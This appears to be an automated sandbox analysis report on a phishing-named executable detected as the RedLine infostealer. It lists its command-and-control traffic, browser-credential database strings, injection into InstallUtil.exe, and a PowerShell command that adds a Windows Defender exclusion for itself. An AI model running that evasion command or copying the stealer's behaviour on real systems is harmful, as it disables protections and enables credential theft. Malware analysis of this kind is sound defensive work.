Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 94.141.120.6:55123Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.141.120.6:55123
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.141.120.6:55123/
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.141.120.6:55123t-
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000030CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: InstallUtil.exe PID: 5652, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION#09678.exe

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E5BEC4	0_2_00007FF848E5BEC4
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E5F699	0_2_00007FF848E5F699
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E59A50	0_2_00007FF848E59A50
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E52FF0	0_2_00007FF848E52FF0
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E5C730	0_2_00007FF848E5C730
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E54F00	0_2_00007FF848E54F00
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E550AC	0_2_00007FF848E550AC
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E59C08	0_2_00007FF848E59C08
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E511F2	0_2_00007FF848E511F2
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E6BEA0	0_2_00007FF848E6BEA0
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848F20061	0_2_00007FF848F20061
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0160E7B0	5_2_0160E7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_0160DC90	5_2_0160DC90

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 764 -s 1056

Source: QUOTATION#09678.exe

Static PE information: No import functions for PE file found

Source: QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs QUOTATION#09678.exe
Source: QUOTATION#09678.exe, 00000000.00000000.2010415796.000002CCFEA16000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFuckingShit.exe8 vs QUOTATION#09678.exe
Source: QUOTATION#09678.exe, 00000000.00000002.2270306101.000002CCFF140000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameIcotuxomihehuxovekenD vs QUOTATION#09678.exe
Source: QUOTATION#09678.exe	Binary or memory string: OriginalFilenameFuckingShit.exe8 vs QUOTATION#09678.exe

Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: InstallUtil.exe PID: 5652, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: QUOTATION#09678.exe, -------.cs

Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@12/55@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess764

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cl0uf5e1.v3l.ps1

Jump to behavior

Source: QUOTATION#09678.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTATION#09678.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: InstallUtil.exe, 00000005.00000002.2386917577.00000000033AF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.000000000349C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.0000000003427000.00000004.00000800.00020000.00000000.sdmp, tmp1261.tmp.5.dr, tmpEEF8.tmp.5.dr, tmpB8D1.tmp.5.dr, tmpEEF9.tmp.5.dr, tmpB8D2.tmp.5.dr, tmp121E.tmp.5.dr, tmpEEE7.tmp.5.dr, tmp1240.tmp.5.dr, tmpEEE6.tmp.5.dr, tmp1262.tmp.5.dr, tmp1241.tmp.5.dr, tmp121F.tmp.5.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: QUOTATION#09678.exe	Virustotal: Detection: 31%
Source: QUOTATION#09678.exe	ReversingLabs: Detection: 28%

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

File read: C:\Users\user\Desktop\QUOTATION#09678.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION#09678.exe "C:\Users\user\Desktop\QUOTATION#09678.exe"
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 764 -s 1056
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
